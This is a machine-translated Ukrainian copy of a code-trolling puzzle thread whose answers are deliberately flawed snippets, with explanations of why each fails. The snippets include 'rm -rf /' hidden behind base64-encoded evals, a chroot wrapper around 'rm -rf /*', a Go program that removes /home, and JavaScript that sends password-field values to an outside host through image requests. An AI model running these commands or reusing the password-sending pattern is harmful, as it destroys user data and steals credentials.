Символ не є звичайним косою рисою (/, тобто SOLIDUS у unicode), а натомість є FRACTION SLASH. Буде надруковано повідомлення типу "rm: ⁄: Немає такого файлу чи каталогу"


10
О, дійсно, дозвольте мені спробувати ....
Майкл Дж. Калкінс

1
@MichaelCalkins: ви можете спробувати несанкціонованого користувача та побачити повідомлення "не знайдено" ... сподіваємось.
Олів'є Дулак

7

баш

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

Це, мабуть, таке зло, як воно набуває. Він визначає функцію, яка б rm -rf /і викликала її. Мало того, що воно використовує злоeval вже не один раз.

Напевно, це зробило б багато шкоди!

У випадку, якщо вам цікаво, перший evalскасовує функцію за допомогою: unset -f cleanup Другий evalвизначає його так: cleanup() { echo Troll detected; } Після запуску коду ви побачите Troll detected


9
Добре! Але, я б сказав, що рядки "base64", які, мабуть, не користуються фактичним видаленням, роблять це занадто очевидним.
Ерел Сегал-Халеві

1
Може бути краще, якби вас повірили, що evalвони роблять щось більше зла, ніж будь-який очевидний код. Поточний код змушує мене запитати: навіщо турбуватися приховувати "злий" код, якщо очевидний матеріал видаляє все?
Тім С.

2
Я не думаю, що ця відповідає вимогам, оскільки це потенційно дуже зловмисно: якщо base64(не стандартна команда) не існує в системі, на якій вона працює, овалі нічого не роблять, і rm -rf /пробіги! Це також може статися, якщо base64воно є, але з певних причин виходить з ладу (наприклад ulimit).
Р ..

1
@R .: Крім того, rm -rf /не буде працювати в більшості rmреалізацій. Це функція безпеки - ви не можете видалити кореневий каталог у більшості реалізацій системи rm.
Конрад Боровський

1
Наскільки я знаю, це працює на версії зайнятих. :-)
R ..

6

БАШ

Звичайно, нам потрібні кореневі привілеї для машини, тому ми використовуємо старий добрий "Чи є у мене корінь?" - шашка, aka ch (eck) root - але краще робити це в каталозі, де не буде піднято багато тривог. / tmp було б ідеально, тому що всі можуть там писати файли.

Після цього ми просто видаляємо весь злий сміх на жорсткому диску

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

10
як німецький я можу сказати: не робіть злого сміху як німецький хлопець ...
Філіп Сандер

Вер , якщо не німецький хлопець, вміє правильно робити сміх, дзен?
Олександр Косубек

5
Я мушу визнати, що мені знадобилось кілька ознайомлень з кодом, а потім перечитував ваші коментарі, щоб з’ясувати, чому хтось може вважати це шкідливим. Я не думаю, що це спрацює, якщо ви не намагалися переконати когось у ваших коментарях, що Chroot робить щось інше, ніж це, і в питанні сказано, що троль не читає коментарів ...
Кріс,

1
До речі, chrootце не "перевірити корінь", це "змінити корінь" - це змінить уявлення користувача про те, що /є. Цікаво, що цей троль не в змозі зробити нічого для користувачів root та non-root; Користувачі root отримують новий корінь (і, отже, команда / bin / bash, оскільки в новоствореному корені / tmp / chroot_dir нічого не існує), а некористувальні користувачі не вдається хронізувати.
март

Це як підказка до цього - я знаю, що це не «змінити корінь», але мій захоплювач (правильне слово?) Не знає - тому він погано виходить з ладу
german_guy

6

iPhone - Клон Flappy Bird

Поки користувач відтворює клон iPhone Flappy Bird, усі файли в каталозі Документи видаляються.

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

Кожен додаток в iOS є пісочницею, тому, хоча це видаляє все в каталозі Документи, це лише каталог Документи для цього конкретного додатка. Тролль, очевидно, цього не знає, оскільки його вже затопило стільки програм для інших платформ. І як тільки він зрозуміє, що він теж може випустити клона Flappy Bird, він може бути настільки схвильований, що навіть не турбується думати про решту коду, оскільки надто зайнятий мрією заробляти на рекламі 50 000 доларів на день без виконуючи будь-яку роботу.


5

Перейти:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

Це трохи хитро. У програмі Go вся програма закінчується, коли виходить основна програма Goroutine. Хороший спосіб виправити це за допомогою групи Waitgroup. З моїм "виправленням" є дві величезні проблеми:

  1. Група Waitgroup не додається до запуску Goroutine, що означає, що головна Goroutine буде натиснута Waitперед удаленням Goroutine Add. Оскільки лічильник буде 0, йому нічого чекати, тому він не блокується, а просто закінчується вихід, тим самим припиняючи програму.
  2. Навіть якщо якимось чином, магічно, додавання goroutine deleteAll спочатку робиться. Він отримав копію групи Waitgroup, а не вказівник на неї. Він не буде додаватися до тієї ж групи Waitgroup, тому головна Goroutina ніколи його не побачить.

Fmt.Scanln () очікувати введення - це просто забезпечити вихід основної Goroutut перед тим, як щось трапиться. Println, ймовірно, призведе до блоку IO і переключиться на запуск основної Goroutine (таким чином, виходить), і Scanln майже напевно зробить це. Насправді, жодна з версій Go не потрібна.

У супер теорії приземліть цю МОГУ роботу і видаліть щось, тобто відповідно до моделі пам'яті Go немає гарантованих відносин "до того", що стосуються кінця mainта виконання RemoveAll, але це не буде в жодному з сучасних режимів виконання / компілятора Go, як свідчить усіма новачками, які помиляються, не вкладаючи синхронізацію в свої основні функції.


4

Javascript

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1.

Він не запуститься, ви не можете створити закриття, всі викликають його, не подавши його паролями

2.

Якщо тролю вдасться це виправити, є гарна помилка налагодження ... ;-)


1
яка мова? і, можливо,
натякніть на друк

@ masterX244 - це Javascript, я його відредагую. Натяк на друк: ReferenceError
Хуан Гарсія

3
Цей друк трапляється настільки часто, що його слід
автокоригувати

Так, я дуже часто роблю цю помилку. Особливо, якщо довжина слова досить довга: Р
Мохаммед Жораїд

1
@ m01 +1 Я думаю, що це повинно бути зарезервоване слово, яке кидає виняток або компілює помилку часу!
Хуан Гарсія
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.